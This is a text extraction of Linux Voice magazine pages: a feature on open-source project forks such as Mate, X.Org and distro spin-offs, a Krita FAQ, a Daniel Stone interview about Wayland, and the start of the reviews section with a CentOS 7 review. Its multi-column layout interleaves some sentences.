        the hordes of angry users     is one of the Free Software                                   project. It happens all the
        on forums and IRC, and
        complain bitterly about the
                                      community’s great strengths.”                                 time, sometimes for good
                                                                                                    reasons, and sometimes for
        program’s sudden change                                                                     bad ones, but without
        of direction. You’re deeply disappointed, and while you      question the ability to fork a program is one of the Free
        may be able to understand the argument from the              Software community’s great strengths.
        developers’ perspective, it doesn’t stop the fact that the      Many of the most popular and famous programs we
        program you use every day and may even depend on for         use began as forks, often in controversial or unpleasant
        your livelihood is about to change drastically.              circumstances. So over the next few pages we’ll explore
          Now, if this were a closed source program, you’re up a     why forks happen, look at some of the most notable, and
        certain creek without even a Starbucks coffee stirrer for    talk to developers who’ve forked projects to see if they
        a paddle. If you’re a programmer, you might be able to       can reunite their codebases further down the line.



34                                                      www.linuxvoice.com
                                                                                                       WHEN PROJECTS SPLIT


When development paths diverge
T
         he most common catalyst for a fork             about three years before they start the
         is when the development team                   next ground-up rewrite that will replace
         behind a project decides to redesign           the interface you love with something
the software, or focus on a different type of           you will almost certainly consider an
user or platform. A great example of this is            unwieldy abomination, and you will
Gnome 3, which is one of the most                       suddenly find yourself begging for
controversial overhauls in the history of Free          configuration options.”
Software. Previous versions of Gnome 2.x                That last quote, in particular, reflected
had been rather conservative in their                much of the sentiment from long-time
approaches to the desktop – you had a                Gnome users. It had taken many years and
familiar taskbar-like panel, a software menu,        releases for Gnome 2.x to reach a state of
and so forth.                                        maturity and completeness – and now the
   Then the Gnome team announced a                   developers wanted to rewrite major chunks
major redesign, which featured a completely          of it from scratch? What’s the point of
different way of working with and managing           getting used to Gnome 3 when Gnome 4
windows. There was going to be more focus            could just change everything once again?
on touch interfaces, while some advanced
features and customisation options were              Flexing the muscles
removed in the name of simplicity and                Incidentally, this is one of the by-products
consistency. As expected, there was uproar           when a largely unpaid community develops
among many Gnome users. Here are some                a project. Maintaining feature-complete and
classic quotes from the internet as Gnome 3          stable software is boring: you can’t show off
was released:                                        your awesome programming skills. Many of
     “A thank you is in order from the               the original Gnome 2.x developers moved on
   Xfce team, as the release of Gnome 3              to other things as the years went by, while
   has urged me (and many others) to                 newer hackers wanted to make more
   switch to Xfce.”                                  aggressive changes.
     “Gnome 3 does put you into the                     Some people loved Gnome 3, and it
   driver’s seat – that of a train on a              brought some fresh approaches to the table
   single track.”                                    of UI design. And even though the first few
     “If Gnome 3 happens to coincide                 releases were pretty rough around the
   with the ways of working that you find            edges, new (or previously existing) features
   most efficient, then congratulations:             have been added over time.
   you are a very lucky person. Enjoy the               Anyway, as expected, it didn’t take long for
   productivity while it lasts – you have            a fork of Gnome 2.x to arrive. An Arch Linux
                                                     user known as Perberos set up the Mate
                                                     project (www.mate-desktop.org), which
  Proprietary forks                                  intended to keep Gnome 2’s codebase up to
                                                     date. That is, it would be updated to fix bugs,
  Closed source forks of Free Software are rare,
                                                     close security holes and work better with
  thanks to the GNU GPL licence, which prohibits
  them. But not all projects use the GPL, and        modern libraries. Initially Mate was
  other licences let companies take an originally    dismissed by many on the net: comments
  open source project and create a proprietary       like “it’s doomed to fail” or “nobody wants to
  fork. Orbis OS, the operating system that’s used   maintain it” were common.
  on the PlayStation 4 is a good example: it’s
                                                        Yet Mate development ramped up;
  based on FreeBSD 9, but Sony is under no
  obligation to release its modifications back to    distributions started to include it in their
  the community.                                     repositories, and now we have an attractive
     Wine, the Windows compatibility layer that’s    and modern Gnome 2.x-like desktop
  famously not an emulator, used to be released      environment that’s a great alternative for
  under the X11 licence, which allowed a few
                                                     those who dislike the Gnome 3 style. In the
  proprietary forks, such as Cedega, but later on
  the Wine team switched to the GNU LGPL. And        end, everybody has won – but it was a
  this is why the GPL vs BSD licence debates         painful process getting here.
  never stop: BSD supporters claim to have the
  most “free” licence because there are very few
  restrictions, whereas GPL fans say they are
                                                     You can’t see the details here (full version at
  more free because their restrictions enforce       http://tinyurl.com/linuxforks), but this graph
  freedom down the line.                             shows the hundreds of distributions forks since
                                                     Linux came to life.


                                                                 www.linuxvoice.com                                          35
     WHEN PROJECTS SPLIT


When developers just don’t get on
D
         evelopers can be a prickly bunch,
         and while the best code should
         always win, personalities often get in
the way of progress. Many projects have
forked because of spats between
developers, such as when Theo de Raadt
was ejected from the NetBSD operating
system team for “a long history of rudeness
towards and abuse of users and developers”
of the project. De Raadt went on to make
OpenBSD, which brought us OpenSSH and
LibreSSL – both essential tools.
   But the most notable fork involving
developer personality clashes was XFree86
and X.Org. In 2003, XFree86 had been the
standard X Window System implementation
on Linux for many years, and development
was sluggish. The “core team” was regarded         Gnome 3’s redesign was both loved and hated, but thanks to Mate the old 2.x codebase stays alive.
as an old boys club, hindering progress, and
Keith Packard, one of the most experienced         professional career”. Packard was booted            away from XFree86, with the source code
and respected of the X Window System               off the XFree86 project – but that didn’t stop      becoming more modular and easy to
developers, started to look into starting a        him. He created xwin.org, a meeting place           compile, while the need to edit the dreaded
new project.                                       for X developers who wanted to work in a            configuration file became rarer thanks to
   David Wexelblat, a member of the                more progressive and transparent project,           auto-configuration.
XFree86 core team, launched a scathing             which eventually led to the X.Org server used          Many other forks have become the
attack on Packard via the mailing lists,           in virtually all Linux distributions today.         “standard” versions after a while. EGCS split
accusing him of doing one of the most                 XFree86’s popularity declined rapidly, and       off from the GCC compiler suite in 1997,
“low-class, unprofessional, and tactless           by 2009 it was effectively dead. Meanwhile          providing various experimental new features,
things I have ever experienced in my               X development picked up pace as it moved            and GCC development stalled. Then in 1999,
                                                                                                       the Free Software Foundation “blessed”
“XFree86’s popularity declined rapidly, and by 2009                                                    EGCS as the standard compiler, and the

it was effectively dead. Meanwhile X development                                                       projects merged. Similarly, LibreOffice forked
                                                                                                       from OpenOffice.org, and has become the
picked up pace as it moved away from XFree86.”                                                         most used flavour of the office suite in major
                                                                                                       distros today.


                                                                                                         When forks are encouraged
                                                                                                         There’s something I’d like to share from my own
                                                                                                         personal experience of running a Free Software
                                                                                                         project. From the outset, MikeOS (http://mikeos.
                                                                                                         sf.net) was designed as a learning tool to show
                                                                                                         how a simple 16-bit assembly language
                                                                                                         operating system works. Over the years I’ve had
                                                                                                         countless patches thrown at me from
                                                                                                         developers around the world, often
                                                                                                         incorporating brilliant new features, but usually
                                                                                                         I’ve turned them down. They add layers of
                                                                                                         complexity and support for things that I don’t
                                                                                                         know inside-out, making the project lose track
                                                                                                         of its goal.
                                                                                                             One developer was submitting so many great
                                                                                                         new features and additions that I said: “OK,
                                                                                                         because we can’t fit all these into the project,
                                                                                                         please fork into a super-MikeOS and share your
                                                                                                         work with the world.” And TachyonOS (https://
                                                                                                         code.google.com/p/tachyon-os) was born. I
                                                                                                         was delighted to see this fork – it meant that
                                                                                                         MikeOS stays true to its focus, while new
Here’s the latest update to the XFree86 changelog – from 2009! The project effectively became            features can be added elsewhere.
dormant after it kicked out Keith Packard, one of its most talented and respected developers.



36                                                              www.linuxvoice.com
                                                                                                                    WHEN PROJECTS SPLIT


From the horse’s mouth
P
        rojects are still splitting today. This is
        especially common in the
        distribution world: someone takes
distro A, changes a few packages and the
desktop theme, and releases distro B. Fair
enough – FOSS is all about freedom and
choice – but our community often ends up
with many distros doing almost exactly the
same thing, and duplicating a lot of effort.
   With this in mind, we contacted a bunch
of distros that began life as forks, and asked
them if they could consider merging with the
original (or very similar) projects. For
instance, Mageia and OpenMandriva both
started as forks of the newbie-friendly (and
now defunct) Mandriva distro. Kate Lebedeff
of OpenMandriva told us: “We know some
contributors from Mageia team, some are
friends, and we often meet at events and             LXLE (www.lxle.net) is a fork of a fork of a fork, but it’s still a jolly good lightweight distro.
conferences, exchange ideas, experience
and expertise, but so far contacts are not           likely, and likely to be more valuable, would             technical help. That was fine with me
that regular.”                                       be some collaboration, in packaging in                    because I had no intention of changing my
   When asked if she could ever see the two          particular, to achieve those benefits without             ideas because someone claimed to have a
distro merging, she responded with: “We are          having to completely merge the projects.”                 ‘title/role/association’ with the Lubuntu
fully open for discussing collaboration                                                                        project. It’s an old saying: those looking for
options with all responsible open source             The *buntu variants                                       power/authority are the very ones that
communities and persons – everybody is               Next, we asked Ronnie Whisler of LXLE (a                  should never have it… I have very little
welcome to join.” Mageia and OpenMandriva            distribution based on Lubuntu (which is                   contact with them outside of bug reports.”
have some technical differences, but it’d be         based on Ubuntu (which is based on
good to see the distros working together             Debian))) if he considers his project a fork, or          Linux Lite
more closely in the future, and it’s a good          a distro in its own right. He gave us an                  Finally we talked to Jerry Bezencon of Linux
thing that neither party rules it out.               insight into the frustration that can grow                Lite, an Ubuntu-based distro featuring the
                                                     inside developers, which leads to new                     Xfce desktop. We asked him if having
Mageia/OpenMandriva                                  projects being born.                                      multiple distros with very similar aims (given
When we asked Mageia the same question,               us: “I don’t consider it a fork, nor really a            that Xubuntu already exists) helps Linux
their press contact told us: “There are              distro for that matter. It’s an eclectic respin,          adoption, or it just leaves newcomers to the
certainly no current plans to merge the two          and while it can be argued that most distros              operating system feeling confused. He said:
projects, as they are probably quite                 are essentially respins, I think LXLE is                     “Newcomers are a lot smarter than some
diversified now, but I don’t think we would          probably the poster child as such.”                       give them credit for. They’re quite capable of
ever say never.” Developer David Walser                 Whisler explained that he got tired of                 choosing a distribution that exactly meets
provided a more thorough response:                   installing Lubuntu and making the                         their everyday needs. Social media, online
   “Some have cited technical reasons for            customisations that he needed each time.                  articles and reviews, magazines and
not merging when this question has been              But instead of making his own distro to                   YouTube videos provide a wealth of
raised in the past, but those concerns are           solve this, couldn’t he have tried working                information on which they can base their
overblown, and not at all insurmountable if          with the Lubuntu team to get his                          decision. ‘Distro hopping’ also enables
the two communities really did want to               modifications and proposals integrated?                   people to find what they are looking for.
merge the distributions… However, for the               “I made a few of my ideas known on                        Choice is empowering; people react badly
two to merge, they’d have to agree on a              mailing lists and such, but they were mostly              when that is no longer available to them.
shared philosophy for what they’re trying to         ignored or I was told why they weren’t good               That is directly evident from reading our
develop, and both communities would have             ideas, by the moderators mostly. The actual               feedback page where people have stated
to see value in merging.                             ‘Lubuntu Team’ never contacted me directly                that after X number of distributions, they
   “There currently are enough philosophical         – a couple of their ‘social servants’ did                 have finally found one that they can settle
differences to make it hard to imagine               though, after LXLE became available, and                  on: www.linuxliteos.com/feedback.html.
happening in the near future, though there           that proved to be difficult at best. They                 I’m not against pooling resources – that’s
would be obvious value on both sides of              seemed only interested in telling me what I               simply not our focus at the moment, but one
sharing development resources and                    should do and what I should learn. Outside                day it may be. For now, the end user has our
reducing duplication of effort. What’s more          of that however there was little actual                   undivided attention.”



                                                                   www.linuxvoice.com                                                                       37
     FAQ KRITA




GRAHAM MORRISON
                       KRITA
The Gimp isn’t the only great drawing tool for Linux.
                                            applications isn’t doing it any favours.
                                            This is a shame, because it has the
                                                                                                 Why don’t you have a go at
                                                                                                 Gimp’s GUI while you’re at it!
                                            potential to become the best image                   It has something to do with glass
       Krita – isn’t that the KDE-          creation tool on Linux.                              houses. There seems to be
       based graphics editor you                                                          something of a tradition with graphical
reviewed in a previous issue?                       But we already have The Gimp,         editors that the GUI needs to be as
       Yes it is. We reviewed version 2.8           which is great!                       sprawling and as incomprehensible as
       back in issue 2. We liked it. But            Exactly. That’s popular               possible. Adobe Photoshop has this
more importantly, we don’t think                    misconception number one. The         problem, as does Blender. And so too
enough people know about it. One of         Gimp is a venerable, powerful and             does Krita. But as with all these tools,
the reasons why it’s sometimes              stable pixel editing tool. We couldn’t do     after you get used to the layout, it’s no
overlooked is because it’s part of KDE’s    our jobs without it – whether that’s          longer a problem but a feature. We just
Calligra suite of applications, which       loading Photoshop files on Linux or           feel for beginners when presented with
includes a word processor, a                exporting PNG files with alpha channels       so many options and buttons to click.
spreadsheet and a presentation              intact. But Gimp fulfils a very specific         And things are getting better. We
package alongside an ideas-mapping          requirement; image editing and                could have forgiven you a few years ago
tool and a vector drawing application.      transformation. It’s not great at image       if you thought Krita looked like an
Not only is it easy for Krita to get lost   creation and its development has              interesting idea in need of a little extra
among its fellow roommates, but the         slowed to a crawl. It’s lacking CMYK          effort. But those times are gone and
drawing components in office suites         support, for instance, which is essential     Krita is now a fully fledged application,
haven’t always set the world on fire.       if you’re working with print, limiting its    and incidentally, one of the most
                                            use as a tool for professionals. It’s also    powerful of its kind regardless of
      You mean like the Draw app            burdened with a rather stupid name.           operating system.
      that’s part of LibreOffice?
      Sadly, yes. Krita is a worthy                Krita hardly rolls off the                    What advantage does Krita
      application in its own right, and            tongue either…                                have over Gimp?
perhaps being bundled into such a                   That is true. But at least the word         First, it’s important to understand
broad suite of loosely related                     ‘krita’ is Swedish for ‘crayon’               that Krita is a different kind of
                                            which says something about Krita’s            application. It’s meant primarily for
                                            target audience. Could the same be            creation rather than editing, and
“Krita has the potential                    said for The Gimp? And there’s also
                                            another big advantage with Krita’s
                                                                                          specifically, creation by drawing. Krita
                                                                                          can edit images, enable you to select
to become the best image                    name; you can safely let your children        areas, create layers and add filter
creation tool on Linux.”                    type ‘krita’ into a Google image search
                                            without looking over their shoulders.
                                                                                          effects – many of the same things you
                                                                                          can do with Gimp. But Krita is not very



38                                            www.linuxvoice.com
                                                                                                                  KRITA FAQ

good at being pixel perfect. Instead, it
has many tools that can emulate the
various elements that traditional artists
use to create their art, and when these
are combined with the all the other
features, it becomes a fully fledged
creation tool – from initial ideas and
concepts through to the finished image.
One of its best features is being able to
work with both bitmap and vector
layers at the same time.

        Does that mean Krita is only
        going to be of use to iPad-
loving David Hockney?
        Not at all. Of course, you can
        choose to create images with a
tablet and a stylus – Wacom tablets, in
particular, have become a great option        Even though Krita is designed for drawing, it can still process and use bitmap images
since the community-sponsored
Wacom Linux Project gained
momentum. For many illustrators that’s        dozens brush types and simply                  projects, and that’s using crowdfunding
the only way to work, and many                sketching onto the blank canvas. The           to help with development. This is in
illustrators choose to use Krita for          results can be uncannily like drawing          marked contrast to Gimp, for example,
exactly this purpose. But Krita is for        with pencil, or crushing charcoal into a       which has struggled to get funds,
everyone. Drawing can be useful. But          page, or squeezing gouache into a              despite its ubiquity and widespread
it’s also fun and educational. Remember       canvas. It feels like the first time you       adoption. The spark behind Krita’s
Deluxe Paint, for instance?                   played with Deluxe Paint or Photoshop.         campaign was the widespread positive
                                              But it’s the brushes that are Krita’s real     reaction to the previous release, which
        Wasn’t that a drawing                 asset, because there are so many               was mostly attributed to the full-time
        application for the Amiga?            models and so many types to choose             work of developer Dmitry Kazakov. The
        Yes! In the 80s, back when            between. We’ve never seen anything like        new campaign asked for €15,000,
        everyone loved Electronic Arts,       Krita’s brush engine.                          enough to pay Dmitry for six months,
Deluxe Paint was a drawing application                                                       and split those six months into 24
bundled with those early machines, and               But The Gimp has lots of                separate features all estimated to take
was created by Dan Silva to coincide                 brushes too!                            two week’s worth of work. That way,
with the release of the Amiga 1000.                  It does. But there’s more to Krita’s    backers could see exactly what their
Deluxe Paint helped all those early                  brushes than a repeated bitmap          funding would bring. Highlights include
adopters see the full potential of the        and an opacity setting. It uses drawing        some spectacular warp and perspective
Amiga’s graphics capabilities, as well as     tools and brush engines to build models        transform tools, colour correction in
realise their own latent drawing talent.      that modify pixel data to approximate a        OpenGL and a resource manager. We’re
But it also helped them master the            specific brush type. This is one of those      happy to report that Krita reached its
mouse. This was important because for         instances where a picture is worth a           target, so we’ll all be able to benefit. If
new users, the mouse was a completely         thousand words, so rather than                 you still want to contribute, you can
alien concept.                                explaining the details we’d suggest just       donate to the project and everything will
   All this is a long-winded way of saying    trying a few. Open Krita, create a blank       help secure Krita’s future.
that tools like Krita are a good thing not    template and use the ‘Brush Presets’
necessarily because they’re for artists,      palette (known as a docker in Krita’s                Anything else you want to rave
but because Linux is the Amiga of             uber-modular GUI) so select one you                  on about?
modern times, and awesome software            like. Now select the pastel brush and a              Did we mention it has supported
like Krita enables new users to               nice colour and start drawing. There are             CMYK for ages? That’s what’s
experiment and play with all kinds of         approximately 1 billion other options for      making all these images look so crisp
new software.                                 drawing stuff too.                             and lovely.

      What’s so very good about                    Didn’t we read in last issue                   So where can we learn more
      Krita then?                                  that Krita was launching a                     about becoming the next
      It’s powerful, so it takes a while to   crowdfunding campaign?                         Alexander Rodchenko?
      master. But you can get plenty of            The Krita team are experimenting               We’ve included a taster tutorial in
instant gratification by creating a new            with what could become a                       this issue (see page 76). Go there
document and choosing one of the              successful model for other open source         now and be amazed!



                                                www.linuxvoice.com                                                                    39
     INTERVIEW DANIEL STONE




X WINDOWS,
WAYLAND AND
THE FUTURE
OF LINUX
Will 2014 be the year of Wayland on the Desktop?
Daniel Stone thinks so, and Ben Everard caught up
with him to find out why.


X
         Windows first came out 30           at Collabora. He gave us the low-down
         years ago, and it’s been at         on what the problems are with X, why
         the centre of Unix and Linux        Wayland is better, what’s happening
graphics ever since. However, times          with the project and when we’re likely
have changed, and X often struggles          to see it come to fruition.
to take advantage of the capabilities          Along with helping regular Linux
of modern graphics hardware.                 users get snappier graphics, Collabora
  Linux needs a new display server,          are working with the Raspberry Pi
and Wayland is the software that             foundation to use Wayland to unlock
many people hope will keep Linux             the graphical powers of the little
graphics moving forward.                     computer and create a much
  Linux Voice headed over to                 smoother desktop environment.
Cambridge to meet Daniel Stone – a           Despite a lot of talk, it hasn’t yet
long-term X contributor, prominent           shipped in a major distro, though this
Wayland developer and graphics lead          should change by the end of the year.



       What will a regular Linux user        there completely solid. I’m running            alternate windows systems. If you go
       notice when they install a            Gnome Shell with Wayland on my                 back to kind of Berlin, Fresco or KGI,
distribution with Wayland for the            laptop, and it’s actually really quite good.   they just suffered really badly because
first time?                                  I hadn’t really tracked any of Mutter or       there were no video drivers at all. There
Daniel Stone: Our main aim is to get         Gnome shell, so I was quite surprised by       was barely any toolkit support. Definitely
out of the way! With X, you’ve got the X     how quickly they were able to get it up.       no 3D support. So yeah, just getting
server, the window manager and the                                                          over that mountain was really difficult.
clients. You’ve kind of got a window                What have you found the                 But now half of the Mesa internals have
manager and a compositing manager                   biggest challenges to be in             been rewritten. It’s just been a really
and there’s a three-way disaster.            developing Wayland?                            really long slog.
   We’ve tried to make that whole            DS: It’s sort of been this 10-year                Just trying to convince people that it’s
architecture as simple as possible – or      ongoing thing. It’s the culmination of         actually ready and usable has been
make the protocol as simple and              everything we’ve done in X since about         really tough as well. Around about a
straightforward as possible. I guess         2004. It’s not called X12, because it’s a      year ago we had this huge spurt in
that’s the big thing: always being           very different windows system [from            development – to be fair I think you can
smooth and responsive and good.              X11], but a lot of the work we did to look     partially attribute that to Mir, but a lot of
                                             at things like kernel mode setting, DRI2       that was that Red Hat had finished an
       Do you have any idea when             – all of that kind of thing – they’re all      enterprise cycle and suddenly they had
       we’re likely to start seeing          really designed to get X out of the way        a lot of guys come out and say “now
Wayland… Other than on Rebecca               as much as possible. Partly because            we’re actually free to start working on
Black OS of course.                          architecturally it was the right thing to      this”. That really got us from a stage of
DS: Oh my God, why is it called that? It’s   do, but then also there’s an explicit goal     “we’ve got a windows system that looks
starting to appear. Fedora 21 – it’ll be     to make it possible to actually develop        like it should work and we’ve got these



40                                                             www.linuxvoice.com
                                                                                               DANIEL STONE INTERVIEW




                                                                            “So far Nvidia are the only
                                                                            ones who’ve tipped their hat
                                                                            and said “yes, we are working
                                                                            on Wayland support.”



        toy clients; GTK kind of works and we’ve   Avanti, Qualcomm and Broadcom – if            DS: Mobile is a lazy shortcut for
        got this toy desktop environment” to       you want 3D, all of those need to add         Arm-based! Wayland has been shipped
        “we know this actually works and runs      support to their drivers. That’s about as     in a set-top box a couple of years ago, a
        well on a proper fully-fledged desktop”    much as I can say, unfortunately.             TV and also the Jolla phone, so in terms
        – that’s only quite recent.                                                              of actual mobile, we’re in a really good
                                                          Is it likely to be a difficult job     spot because we worked together with
              Intel has been quite active.                to get drivers to run Wayland          the Jolla guys to do libhybris [a
              How have the other hardware          on the desktop?                               compatibility layer to allow glibc-based
        manufacturers responded to                 DS: It shouldn’t be! If it isn’t seamless     software to run on bionic libc (the
        Wayland?                                   then we’ve done something really badly        Android C library) systems]. We sort of
        DS: For 2D support, if you have kernel     wrong. On the desktop it should be            did two halves of it, then they glued it
        mode setting [KMS], then that’ll just      totally fine. Mesa supports it fine, and      together where you can reuse the binary
        work fine. For 3D support, Nvidia have     they all have KMS support, so in that         blob – or if you have source, even better.
        said publicly that they’re working on      sense, it should be completely                You can re-use the Android vendor
        Wayland. Then you’ve got Arm with the      seamless. On mobile, it’s just up to the      drivers you get, and that just adds
        Mali GPU, Imagination, PowerVR and         manufacturer. So far, Nvidia are the only     Wayland to any Android-capable
                                                   ones who have actually tipped their hat       platform. That’s used on the Jolla
                                                   and said ‘yes we are working on               Sailfish phone.
“If the switch to Wayland isn’t                    Wayland support’.
                                                                                                      Do you mind telling us a bit
seamless then we’ve done                                 When you say on mobile,                      about how you got started
something really badly wrong.”                           which mobile platform are you
                                                   talking about?
                                                                                                 contributing to open source and
                                                                                                 Free Software?



                                                     www.linuxvoice.com                                                                41
     INTERVIEW DANIEL STONE


  Wayland has brought huge
  improvements to the graphics
  of low-power devices such as
  the Raspberry Pi.




DS: I think I got started with either KDE    when we had the old build system with          Gnome Shell and Mutter are separate. It
or Debian, I can’t remember how.             everything whacked in one and it took a        shouldn’t look any different than it does
                                             day to build. Modularisation was really        now where you just pick a window
       Was it KDE on Debian?                 great, but we kind of took it one step too     manager basically.
       DS: There was also that, but that     far and ended up with something like
was later on. Yeah, I just trundled along    380 different modules. Most of them                    What would you say you’ve
doing a couple of small KDE bits on          never change, but it went a bit too far in             learned from XFree86? It’s one
their IM client (Kopete), and a lot of       the other direction. Now we’ve just got        of the best pieces of software, and
packaging in Debian. For some reason, I      Wayland and Weston and whatever GL             it’s adapted and interconnected
ended up maintaining Apache 2 and            stack you have. Fingers crossed, it won’t      everything. Is there anything from
KDE and then started working on              get out of hand!                               the success of X that’s gone into
XFree86, which I kind of got tricked into.                                                  Wayland? Like that the client and the
                                                    From a user’s perspective, will         server are the wrong way around?
        So you got all the good jobs!               they need to know the                   DS: We kept that one! I guess it’s
        DS: Yeah! I was working at a         compositing manager from the                   easiest to look at the things we did
college at Melbourne Uni and they said       window manager?                                differently. X has this awkward thing
“We’ve just got this new lab and we          DS: We merged those! The key                   where the clients mostly render
need a new version of X to support the       architectural change is that the window        everything, but then you get the server
new Intel GPU. Do you reckon you could       manager and the compositing manager            to do about a third of it.
do that?” I thought that’d take about a      got merged into the display server, so            Longevity is kind of hard to pick
week, then a year later… That was right      we’ve got Weston, which is our                 because, as I said, we spent 10 years
about the time of the XFree86/X.org          reference compositor, and that has             digging all of these bits out of X, and
split. Somehow I did the modular build       plugins. It’s got a super basic UI on top      before that, there was no real alternative
system for the X server, then I did a        of that. The IVI [In-Vehicle Infotainment]     either. It’s partially artificial. I guess it
bunch around that, and I gradually got       guys have been working on their own            taught us that no matter how high you
dragged into working on the core server.     shell for automotive stuff.                    make the barrier to entry, people will still
It was pretty much 11 years ago… I’m             The new desktop we released for the        do it. I’ll have to think about it…
still here! It was a miss-spent youth.       Pi, called Maynard, is a Weston module.
                                             It runs in-process, which is really nice,             We suppose X always did the
     How much easier is Wayland              but by the same token, we don’t have to               job, despite being complicated.
     going to be to package than             re-invent the compositor.                      DS: It’s definitely mostly good enough. It
XFree86 was?                                     Other projects like Kwin – I think – are   was quite easy to push it in some quite
DS: So much easier! It was a disaster        doing their own compositor. Definitely         unexpected directions, so it was this



42                                                             www.linuxvoice.com
                                                                                                   DANIEL STONE INTERVIEW

            infinitely flexible framework that you              Will there be an easy                   out of X, and also libhybris which we
            could make do almost anything.                      equivalent to VNC?                      originally did to run Wayland on Android
                                                          DS: There’s already an RDP [remote            – they were able to take that and run
                  We remember being amazed                desktop protocol] back-end for Weston,        Mir on top of it instead. We’re both
                  that you could get anti-alised          and the RealVNC guys have been on the         standing on the same foundations.
            fonts. Just the fact that you could           Wayland list looking into doing
            patch something old to come up                something quite similar. One of the                Do they re-use your driver
            with something new. Then wobbly               things we did – it’s almost a happy                hooks?
            windows as well!                              accident, but partly by design – makes        DS: No. Not for EGL.
            DS: That was a blessing and a curse!          it much easier for the compositor to
            Inside the X server, it’s not a clear,        stream out windows externally, so you                 So they have their own?
            straightforward process that everything       can do things like the hangouts or                    DS: The last time I looked, they
            flows through. You’ve got this one            Skype-style screen show.                      hadn’t got that far yet. They can’t re-use
                                                                                                        the EGL hooks directly because the EGL

“We just kept adding more
                                                                How much work is it to convert          extension is literally: here is a struct for
                                                                an X driver to Wayland?                 the display, and you can call Wayland

layers… in the end it made it                             DS: Not a lot if you already have             methods on it. It’s so baked into that

really hard to work with.”
                                                          something that can already to a               that they can’t re-use it. In terms of the
                                                          composited X server, which is fewer           open source infrastructure, they
                                                          than you’d think.                             wouldn’t have been able to do that
                                                                                                        without KMS, much like we couldn’t
            massive structure that everything                    Is it just renaming a few of the       have done Wayland without it, without
            hangs off which has about 50 function                calls?                                 all the Mesa EGL work, without libhybris,
            pointers in it, and everything goes           DS: Simplifying a lot of them! One of the     without XKB being common (which I did
            through those. We just kept adding            things we did which ends up making it a       for Wayland) they wouldn’t have
            more and more layers. It was great that       lot easier for driver manufacturers is –      keyboard handling. It also took a hell of
            it allowed us to do that, but in the end it   you know previously the X server would        a lot of work to go into GTK 3 and make
            made it really hard to work with.             load the graphics driver which was            it not just an X-only toolkit. Mir re-uses
               Things like composite were done with       specific to the 3D hardware and the           all of these foundations as well.
            the core being completely unaware that        display controller, and then you had your
            the composite was ever there. We just         client-side GL library and they had to              Does this mean you’ll need
            wrapped everything up and did a couple        agree on a protocol. You had to get this            separate drivers for Wayland
            of tricks on the way in and undid them        marriage between what you had on the          and Mir?
            on the way back out. It made it               client and the X server driver you had,       DS: There’s now an EGL platform
            incredibly fragile and hard to work with.     and your display controller as well. We       extension which now says instead of ‘I
               Things like minor rendering bugs (like     broke that out quite nicely. That was         want to open a display’, ‘I want to open
            when the screen flashes black for a           something that took a couple of               an X display’, or ‘I want to open a Mir
            second) – you wonder why that                 iterations of refining before we got right,   display’, so you can now ship a single
            happened and three weeks later you            but it’s now split out so that all of the     blob which supports all of them.
            come out with the answer.                     Wayland 3D stuff lives in the GL library
                                                          rather than the X server that had an API            But it would need to have the
                                                          that changed about every six months.                Mir bit in it as well as a
                                                                                                        Wayland bit?
                                                                 Will Wayland make it easier for        DS: Exactly. The Wayland part of that
                                                                 Nouveau, Lima and the open             extension is already ratified by Khronos,
                                                          driver projects?                              and that’s part of their official set of
                                                          DS: Most of their complexity is               extensions
                                                          unrelated to be honest. We’ve got a nice
                                                          clean split between the windowing                     Will 2015 be the year of
                                                          system and the actual rendering –                     Wayland on the desktop?
                                                          which is reflecting in the GL and GLES        DS: I think so. We’re already seeing it in
                                                          – so it doesn’t make any odds to them         set-top boxes because for that kind of
                                                          to be honest! All that infrastructure’s in    stuff where we can say “We can
                                                          core Mesa and they don’t have to deal         guarantee you super low latency, and no
                                                          with it – much as I’d love to say yes.        jitter – you can actually use overlays,
                                                                                                        which you can’t in X, that sort of thing”.
                                                                What are your thoughts on               They’ve already taken a shine to it. I
 “Intel are hugely involved in
                                                                Mir?                                    really hope Fedora 21 give the desktop a
 Wayland development – they are
 completely behind it.                                    DS: They’re doing their own thing. That       bit of a kick. It is actually really
                                                          builds on ten years of us extracting stuff    remarkably solid, at least on Gnome.



                                                            www.linuxvoice.com                                                                  43
                                                                                                                           INTRO REVIEWS




                                                REVIEWS
                                                The latest software and hardware for your Linux box, reviewed
                                                and rated by the most experienced writers in the business


                                                 On test this issue...
                                                    46                                                      48



Andrew Gregory
Believes that Dogecoin is the future currency
for the digital world. Much money, very wow!




T
         he other day I was watching a
         video interview with Richard            CentOS 7                                                Minetest 0.4.10
         Stallman. The interviewer               Enterprise-grade Linux, for free. Graham                Mike Saunders climbs hills, explores
obviously had no clue about GNU, Linux           Morrison examines the first release                     caves and swims over oceans in this
and FOSS, and threw all kinds of inane           following the Red Hat + CentOS team-up.                 surprisingly good Minecraft clone.
questions at the great RMS. At one
point I expected Stallman to get up and                                                    50                             51
                                                    49
walk away, but he answered the daft
questions with patience and good
manners. The worst point came when
the interviewer asked if Free Software
was anti-capitalist, and how anyone
could make money from stuff that was
given away for free. Surely it’s all some
commie hippie nonsense for people
                                                  Opera 24                               AfterShot Pro 2                Smart Control
with no grasp of economics, right?                It looked like Opera for               Our staff photographer,        Too many remote controls
                                                  Linux was dead, but the                Graham Morrison, attempts      spoiling the broth? Wish you
Doing the right thing                             comeback starts here.                  to release himself from the    could consolidate them all
Stallman explained how companies                  Ben Everard finds out how it           ion grip of Adobe with a       into a nice little mobile app?
can make plenty of money selling                  stacks up against Firefox              pro-level image processing     Graham Morrison tries this
support and services around a Free                and Chrome/Chromium.                   application.                   solution from Logitech.
Software project. One of the examples I
always give, when people ask me
similar questions, is Red Hat: here’s a          BOOKS AND GROUP TEST
company built on FOSS principles, with
                                                 In a slight departure from the norm, one of our books
a primary product (RHEL) that’s
                                                 this month hasn’t just arrived on the shelves – no,
available for free (CentOS). Red Hat has         it’s actually from 1983. ‘The Unix Programming
made plenty of money releasing its               Environment’ is one of the most important works in
work as open source and selling                  computing history, as it’s from the original Unix
support contracts, and demonstrates              developers. Linux is a modern beast today, but so
                                                 much of its design and principles stem from those
how the whole model can work very
                                                 early Unix flavours, so it’s great to look back.
successfully. It’s a million times better        Meanwhile, our Group Test this issue looks at tiling
than prising money out of people by              window managers. These can save you lots of time
locking them in to proprietary wares.            and help to manage your screen space better.
andrew@linuxvoice.com



                                                                  www.linuxvoice.com                                                                     45
     REVIEWS CentOS 7



CentOS 7
Graham Morrison finds the ultimate upgrade path for his own low-end-box, a distro
ideal for servers and offices built from Red Hat’s super-audited source code.

                              R
                                        eviewing Linux distributions is like reviewing
  DATA                                  music. Should the reviewer be an old school
  Web www.centos.org
                                        devotee? A potential new listener, or just
  Developer CentOS            interested in seeing what’s happening? Should they
